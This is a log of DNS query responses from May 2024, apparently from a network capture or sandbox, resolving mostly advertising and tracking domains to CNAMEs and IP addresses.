May 25, 2024 00:45:57.356234074 CEST	1.1.1.1	192.168.2.6	0x59e0	No error (0)	live.rezync.com		18.238.243.70	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.356234074 CEST	1.1.1.1	192.168.2.6	0x59e0	No error (0)	live.rezync.com		18.238.243.88	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.356234074 CEST	1.1.1.1	192.168.2.6	0x59e0	No error (0)	live.rezync.com		18.238.243.61	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.356234074 CEST	1.1.1.1	192.168.2.6	0x59e0	No error (0)	live.rezync.com		18.238.243.51	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.356246948 CEST	1.1.1.1	192.168.2.6	0xdd44	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.356246948 CEST	1.1.1.1	192.168.2.6	0xdd44	No error (0)	platform.twitter.map.fastly.net		146.75.120.157	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.356266022 CEST	1.1.1.1	192.168.2.6	0x9a9	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.356275082 CEST	1.1.1.1	192.168.2.6	0xa2c1	No error (0)	snap.licdn.com	od.linkedin.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.356283903 CEST	1.1.1.1	192.168.2.6	0x69f9	No error (0)	static.ads-twitter.com	platform.twitter.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.361098051 CEST	1.1.1.1	192.168.2.6	0x25f5	No error (0)	cdn.pbbl.co	d32t1bob6d76al.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.361119032 CEST	1.1.1.1	192.168.2.6	0xc32e	No error (0)	td.doubleclick.net		216.58.212.130	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.376529932 CEST	1.1.1.1	192.168.2.6	0x2f73	No error (0)	9749892.fls.doubleclick.net	dart.l.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.376529932 CEST	1.1.1.1	192.168.2.6	0x2f73	No error (0)	dart.l.doubleclick.net		142.250.185.166	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.376540899 CEST	1.1.1.1	192.168.2.6	0x1a0a	No error (0)	collector-11598.tvsquared.com	collectorj.tvsquared.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.376540899 CEST	1.1.1.1	192.168.2.6	0x1a0a	No error (0)	collectorj.tvsquared.com		52.14.63.166	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.376540899 CEST	1.1.1.1	192.168.2.6	0x1a0a	No error (0)	collectorj.tvsquared.com		3.141.243.186	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.388712883 CEST	1.1.1.1	192.168.2.6	0x801e	No error (0)	collector-11598.tvsquared.com	collectorj.tvsquared.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.388739109 CEST	1.1.1.1	192.168.2.6	0x8ef7	No error (0)	9749892.fls.doubleclick.net	dart.l.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.393784046 CEST	1.1.1.1	192.168.2.6	0xcf26	No error (0)	cdn.pbbl.co	d32t1bob6d76al.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.393784046 CEST	1.1.1.1	192.168.2.6	0xcf26	No error (0)	d32t1bob6d76al.cloudfront.net		13.32.27.111	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.393784046 CEST	1.1.1.1	192.168.2.6	0xcf26	No error (0)	d32t1bob6d76al.cloudfront.net		13.32.27.112	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.393784046 CEST	1.1.1.1	192.168.2.6	0xcf26	No error (0)	d32t1bob6d76al.cloudfront.net		13.32.27.99	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.393784046 CEST	1.1.1.1	192.168.2.6	0xcf26	No error (0)	d32t1bob6d76al.cloudfront.net		13.32.27.96	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.398718119 CEST	1.1.1.1	192.168.2.6	0xf583	No error (0)	2992003.fls.doubleclick.net	dart.l.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:57.398718119 CEST	1.1.1.1	192.168.2.6	0xf583	No error (0)	dart.l.doubleclick.net		142.250.184.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:57.410043001 CEST	1.1.1.1	192.168.2.6	0x7a20	No error (0)	2992003.fls.doubleclick.net	dart.l.doubleclick.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:58.619502068 CEST	1.1.1.1	192.168.2.6	0x72bd	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:58.619502068 CEST	1.1.1.1	192.168.2.6	0x72bd	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.172.103.101	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:58.624838114 CEST	1.1.1.1	192.168.2.6	0x7eef	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:58.624870062 CEST	1.1.1.1	192.168.2.6	0xc2e1	No error (0)	cdn.pdst.fm		35.244.142.80	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:58.690706015 CEST	1.1.1.1	192.168.2.6	0x2b0c	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:58.690706015 CEST	1.1.1.1	192.168.2.6	0x2b0c	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:58.690725088 CEST	1.1.1.1	192.168.2.6	0x6823	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
May 25, 2024 00:45:58.690738916 CEST	1.1.1.1	192.168.2.6	0x8109	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:58.690738916 CEST	1.1.1.1	192.168.2.6	0x8109	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:58.690777063 CEST	1.1.1.1	192.168.2.6	0xa147	No error (0)	ad.doubleclick.net		216.58.206.70	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:59.903392076 CEST	1.1.1.1	192.168.2.6	0xbd4a	No error (0)	us-central1-adaptive-growth.cloudfunctions.net		216.239.36.54	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:59.903398037 CEST	1.1.1.1	192.168.2.6	0x2e89	No error (0)	cdn.pbbl.co	d32t1bob6d76al.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:45:59.903398037 CEST	1.1.1.1	192.168.2.6	0x2e89	No error (0)	d32t1bob6d76al.cloudfront.net		18.244.179.91	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:59.903398037 CEST	1.1.1.1	192.168.2.6	0x2e89	No error (0)	d32t1bob6d76al.cloudfront.net		18.244.179.3	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:59.903398037 CEST	1.1.1.1	192.168.2.6	0x2e89	No error (0)	d32t1bob6d76al.cloudfront.net		18.244.179.86	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:59.903398037 CEST	1.1.1.1	192.168.2.6	0x2e89	No error (0)	d32t1bob6d76al.cloudfront.net		18.244.179.64	A (IP address)	IN (0x0001)	false
May 25, 2024 00:45:59.903403997 CEST	1.1.1.1	192.168.2.6	0x8992	No error (0)	cdn.pbbl.co	d32t1bob6d76al.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.079354048 CEST	1.1.1.1	192.168.2.6	0xb260	No error (0)	trkn.us		104.115.82.33	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.079354048 CEST	1.1.1.1	192.168.2.6	0xb260	No error (0)	trkn.us		104.115.82.24	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.079370975 CEST	1.1.1.1	192.168.2.6	0xc393	No error (0)	b.videoamp.com		54.88.101.193	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.079370975 CEST	1.1.1.1	192.168.2.6	0xc393	No error (0)	b.videoamp.com		34.200.140.231	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093076944 CEST	1.1.1.1	192.168.2.6	0x5239	No error (0)	adservice.google.com			65	IN (0x0001)	false
May 25, 2024 00:46:00.093092918 CEST	1.1.1.1	192.168.2.6	0x7645	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.093092918 CEST	1.1.1.1	192.168.2.6	0x7645	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.093092918 CEST	1.1.1.1	192.168.2.6	0x7645	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.093092918 CEST	1.1.1.1	192.168.2.6	0x7645	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093092918 CEST	1.1.1.1	192.168.2.6	0x7645	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093092918 CEST	1.1.1.1	192.168.2.6	0x7645	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093092918 CEST	1.1.1.1	192.168.2.6	0x7645	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093106031 CEST	1.1.1.1	192.168.2.6	0xaebf	No error (0)	insight.adsrvr.org		52.223.40.198	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093106031 CEST	1.1.1.1	192.168.2.6	0xaebf	No error (0)	insight.adsrvr.org		15.197.193.217	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093106031 CEST	1.1.1.1	192.168.2.6	0xaebf	No error (0)	insight.adsrvr.org		35.71.131.137	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093106031 CEST	1.1.1.1	192.168.2.6	0xaebf	No error (0)	insight.adsrvr.org		3.33.220.150	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093128920 CEST	1.1.1.1	192.168.2.6	0xd22b	No error (0)	adservice.google.com		142.250.186.34	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.093142033 CEST	1.1.1.1	192.168.2.6	0xe52e	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.093142033 CEST	1.1.1.1	192.168.2.6	0xe52e	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.093142033 CEST	1.1.1.1	192.168.2.6	0xe52e	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.097954035 CEST	1.1.1.1	192.168.2.6	0xd358	No error (0)	c.tvpixel.com	drs4arwg3y39c.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.097954035 CEST	1.1.1.1	192.168.2.6	0xd358	No error (0)	drs4arwg3y39c.cloudfront.net		18.239.18.40	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.097954035 CEST	1.1.1.1	192.168.2.6	0xd358	No error (0)	drs4arwg3y39c.cloudfront.net		18.239.18.124	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.097954035 CEST	1.1.1.1	192.168.2.6	0xd358	No error (0)	drs4arwg3y39c.cloudfront.net		18.239.18.82	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.097954035 CEST	1.1.1.1	192.168.2.6	0xd358	No error (0)	drs4arwg3y39c.cloudfront.net		18.239.18.126	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.097966909 CEST	1.1.1.1	192.168.2.6	0x77aa	No error (0)	c.tvpixel.com	drs4arwg3y39c.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.288842916 CEST	1.1.1.1	192.168.2.6	0xde08	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.288842916 CEST	1.1.1.1	192.168.2.6	0xde08	No error (0)	star-mini.c10r.facebook.com		157.240.0.35	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.288861990 CEST	1.1.1.1	192.168.2.6	0x5139	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.387415886 CEST	1.1.1.1	192.168.2.6	0x10e6	No error (0)	cdn.boomtrain.com	dt9s2nur7u2e9.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.387415886 CEST	1.1.1.1	192.168.2.6	0x10e6	No error (0)	dt9s2nur7u2e9.cloudfront.net		18.239.69.60	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.387415886 CEST	1.1.1.1	192.168.2.6	0x10e6	No error (0)	dt9s2nur7u2e9.cloudfront.net		18.239.69.76	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.387415886 CEST	1.1.1.1	192.168.2.6	0x10e6	No error (0)	dt9s2nur7u2e9.cloudfront.net		18.239.69.86	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.387415886 CEST	1.1.1.1	192.168.2.6	0x10e6	No error (0)	dt9s2nur7u2e9.cloudfront.net		18.239.69.21	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.387433052 CEST	1.1.1.1	192.168.2.6	0x2a75	No error (0)	c1.rfihub.net	dosnujlvxkgze.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.387433052 CEST	1.1.1.1	192.168.2.6	0x2a75	No error (0)	dosnujlvxkgze.cloudfront.net		13.32.110.77	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.387433052 CEST	1.1.1.1	192.168.2.6	0x2a75	No error (0)	dosnujlvxkgze.cloudfront.net		13.32.110.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.387433052 CEST	1.1.1.1	192.168.2.6	0x2a75	No error (0)	dosnujlvxkgze.cloudfront.net		13.32.110.14	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.387433052 CEST	1.1.1.1	192.168.2.6	0x2a75	No error (0)	dosnujlvxkgze.cloudfront.net		13.32.110.90	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.387444973 CEST	1.1.1.1	192.168.2.6	0x97c4	No error (0)	cdn.boomtrain.com	dt9s2nur7u2e9.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.387456894 CEST	1.1.1.1	192.168.2.6	0x88c4	No error (0)	c1.rfihub.net	dosnujlvxkgze.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.468848944 CEST	1.1.1.1	192.168.2.6	0xa30f	No error (0)	ad.doubleclick.net		172.217.18.6	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.468883991 CEST	1.1.1.1	192.168.2.6	0x2793	No error (0)	ad.doubleclick.net			65	IN (0x0001)	false
May 25, 2024 00:46:00.539452076 CEST	1.1.1.1	192.168.2.6	0x27ca	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.539452076 CEST	1.1.1.1	192.168.2.6	0x27ca	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.539467096 CEST	1.1.1.1	192.168.2.6	0x18ab	No error (0)	px.ads.linkedin.com	exp1.www.linkedin.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.539467096 CEST	1.1.1.1	192.168.2.6	0x18ab	No error (0)	exp1.www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.839919090 CEST	1.1.1.1	192.168.2.6	0x3e52	No error (0)	tag.simpli.fi		35.204.89.238	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.839919090 CEST	1.1.1.1	192.168.2.6	0x3e52	No error (0)	tag.simpli.fi		35.234.162.151	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.839951038 CEST	1.1.1.1	192.168.2.6	0x8cc3	No error (0)	cdn.bttrack.com	cdn.bttrack.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.844707012 CEST	1.1.1.1	192.168.2.6	0x84d3	No error (0)	cdn.bttrack.com	cdn.bttrack.com.edgesuite.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.844840050 CEST	1.1.1.1	192.168.2.6	0x2c5f	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:00.844840050 CEST	1.1.1.1	192.168.2.6	0x2c5f	No error (0)	dg2iu7dxxehbo.cloudfront.net		18.239.67.100	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:00.844923019 CEST	1.1.1.1	192.168.2.6	0xee8d	No error (0)	js.adsrvr.org	dg2iu7dxxehbo.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:01.118303061 CEST	1.1.1.1	192.168.2.6	0x1111	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:01.118349075 CEST	1.1.1.1	192.168.2.6	0xa3ea	No error (0)	www.linkedin.com	www-linkedin-com.l-0005.l-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.171.118.212	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.194.31.123	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.51.22.204	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		54.228.84.202	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		34.251.227.208	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.215.242.107	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		52.49.110.165	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.172060013 CEST	1.1.1.1	192.168.2.6	0xdea5	No error (0)	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		63.32.235.18	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:01.172080994 CEST	1.1.1.1	192.168.2.6	0x3a01	No error (0)	dpm.demdex.net	gslb-2.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:01.172080994 CEST	1.1.1.1	192.168.2.6	0x3a01	No error (0)	gslb-2.demdex.net	edge-irl1.demdex.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:01.172080994 CEST	1.1.1.1	192.168.2.6	0x3a01	No error (0)	edge-irl1.demdex.net	dcs-public-edge-irl1-150041215.eu-west-1.elb.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.189635038 CEST	1.1.1.1	192.168.2.6	0xac87	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.189635038 CEST	1.1.1.1	192.168.2.6	0xac87	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.189635038 CEST	1.1.1.1	192.168.2.6	0xac87	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.189635038 CEST	1.1.1.1	192.168.2.6	0xac87	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.189635038 CEST	1.1.1.1	192.168.2.6	0xac87	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.189635038 CEST	1.1.1.1	192.168.2.6	0xac87	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.189635038 CEST	1.1.1.1	192.168.2.6	0xac87	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.190929890 CEST	1.1.1.1	192.168.2.6	0x2624	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.190929890 CEST	1.1.1.1	192.168.2.6	0x2624	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.190929890 CEST	1.1.1.1	192.168.2.6	0x2624	No error (0)	www-pinterest-com.gslb.pinterest.com	2-01-37d2-0018.cdx.cedexis.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.193532944 CEST	1.1.1.1	192.168.2.6	0xc40d	No error (0)	p.tvpixel.com		99.83.205.94	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.193532944 CEST	1.1.1.1	192.168.2.6	0xc40d	No error (0)	p.tvpixel.com		75.2.57.54	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.196039915 CEST	1.1.1.1	192.168.2.6	0xab0d	No error (0)	b.videoamp.com		34.200.140.231	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.196039915 CEST	1.1.1.1	192.168.2.6	0xab0d	No error (0)	b.videoamp.com		54.88.101.193	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.196053982 CEST	1.1.1.1	192.168.2.6	0x2e33	No error (0)	c1.rfihub.net	dosnujlvxkgze.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.201154947 CEST	1.1.1.1	192.168.2.6	0x7394	No error (0)	adservice.google.com			65	IN (0x0001)	false
May 25, 2024 00:46:02.202788115 CEST	1.1.1.1	192.168.2.6	0x8af4	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202788115 CEST	1.1.1.1	192.168.2.6	0x8af4	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202788115 CEST	1.1.1.1	192.168.2.6	0x8af4	No error (0)	www-pinterest-com.gslb.pinterest.com	www.gslb.pinterest.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202788115 CEST	1.1.1.1	192.168.2.6	0x8af4	No error (0)	www.gslb.pinterest.net	prod.pinterest.global.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202788115 CEST	1.1.1.1	192.168.2.6	0x8af4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.192.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202788115 CEST	1.1.1.1	192.168.2.6	0x8af4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.0.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202788115 CEST	1.1.1.1	192.168.2.6	0x8af4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.64.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202788115 CEST	1.1.1.1	192.168.2.6	0x8af4	No error (0)	prod.pinterest.global.map.fastly.net		151.101.128.84	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202805042 CEST	1.1.1.1	192.168.2.6	0xbe60	No error (0)	c1.rfihub.net	dosnujlvxkgze.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202805042 CEST	1.1.1.1	192.168.2.6	0xbe60	No error (0)	dosnujlvxkgze.cloudfront.net		18.239.69.121	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202805042 CEST	1.1.1.1	192.168.2.6	0xbe60	No error (0)	dosnujlvxkgze.cloudfront.net		18.239.69.36	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202805042 CEST	1.1.1.1	192.168.2.6	0xbe60	No error (0)	dosnujlvxkgze.cloudfront.net		18.239.69.33	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202805042 CEST	1.1.1.1	192.168.2.6	0xbe60	No error (0)	dosnujlvxkgze.cloudfront.net		18.239.69.106	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202817917 CEST	1.1.1.1	192.168.2.6	0x24af	No error (0)	ct.pinterest.com	www.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202817917 CEST	1.1.1.1	192.168.2.6	0x24af	No error (0)	www.pinterest.com	www-pinterest-com.gslb.pinterest.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202817917 CEST	1.1.1.1	192.168.2.6	0x24af	No error (0)	www-pinterest-com.gslb.pinterest.com	www.gslb.pinterest.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202817917 CEST	1.1.1.1	192.168.2.6	0x24af	No error (0)	www.gslb.pinterest.net	www.pinterest.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202830076 CEST	1.1.1.1	192.168.2.6	0xa8c9	No error (0)	us-central1-adaptive-growth.cloudfunctions.net		216.239.36.54	A (IP address)	IN (0x0001)	false
May 25, 2024 00:46:02.202884912 CEST	1.1.1.1	192.168.2.6	0xd696	No error (0)	20843995p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202884912 CEST	1.1.1.1	192.168.2.6	0xd696	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202897072 CEST	1.1.1.1	192.168.2.6	0xf53c	No error (0)	20843995p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.202897072 CEST	1.1.1.1	192.168.2.6	0xf53c	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.204809904 CEST	1.1.1.1	192.168.2.6	0x5fba	No error (0)	20843995p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.204809904 CEST	1.1.1.1	192.168.2.6	0x5fba	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.204834938 CEST	1.1.1.1	192.168.2.6	0x7e30	No error (0)	20843995p.rfihub.com	a.rfihub.com		CNAME (Canonical name)	IN (0x0001)	false
May 25, 2024 00:46:02.204834938 CEST	1.1.1.1	192.168.2.6	0x7e30	No error (0)	a.rfihub.com	a.rfihub.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
